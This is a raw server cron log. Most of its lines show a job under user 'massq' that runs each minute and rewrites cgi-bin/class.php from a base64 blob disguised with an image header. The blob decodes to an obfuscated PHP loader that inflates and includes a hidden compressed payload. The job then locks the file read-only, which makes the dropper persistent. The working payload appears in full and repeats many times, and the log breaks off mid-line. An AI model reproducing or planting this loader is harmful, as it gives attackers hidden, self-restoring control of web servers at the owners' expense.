Nov 10 19:21:01 server CROND[26805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:22:01 server CROND[27620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:23:01 server CROND[28425]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:24:01 server CROND[29247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:25:01 server CROND[29492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:25:01 server CROND[29493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:25:01 server CROND[29498]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:26:01 server CROND[30408]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:27:01 server CROND[31239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:27:01 server CROND[31241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 19:28:01 server CROND[32225]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:29:01 server CROND[521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:30:01 server CROND[1347]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 19:30:01 server CROND[1348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:30:01 server CROND[1349]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 19:30:01 server CROND[1350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 19:31:01 server CROND[2291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:32:01 server CROND[3211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:33:01 server CROND[4027]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 19:34:01 server CROND[4843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 